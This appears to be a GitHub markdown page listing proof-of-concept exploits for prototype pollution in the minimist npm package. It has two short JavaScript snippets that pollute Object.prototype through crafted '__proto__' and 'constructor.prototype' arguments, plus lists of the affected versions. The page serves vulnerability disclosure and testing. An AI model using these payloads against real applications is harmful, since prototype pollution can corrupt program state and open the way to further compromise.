Skip to content

Latest commit

 

History

History
25 lines (16 loc) · 763 Bytes

File metadata and controls

25 lines (16 loc) · 763 Bytes

minimist

parse argument options

Latest version: 1.2.5

Exploits

const minimist = require('minimist');

minimist('--__proto__.a b'.split(' '));
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 0.0.0 0.0.1 0.0.2 0.0.3 0.0.4 0.0.5 0.0.6 0.0.7 0.0.8 0.0.9 0.0.10 0.1.0 0.2.0 1.0.0 1.1.0 1.1.1 1.1.2 1.1.3 1.2.0 1.2.1

const minimist = require('minimist');

minimist('--constructor.prototype.a b'.split(' '));
if (({}).a === 'b') console.log('exploitable');

Vulnerable versions: 0.0.0 0.0.1 0.0.2 0.0.3 0.0.4 0.0.5 0.0.6 0.0.7 0.0.8 0.0.9 0.0.10 0.1.0 0.2.0 1.0.0 1.1.0 1.1.1 1.1.2 1.1.3 1.2.0 1.2.1 1.2.2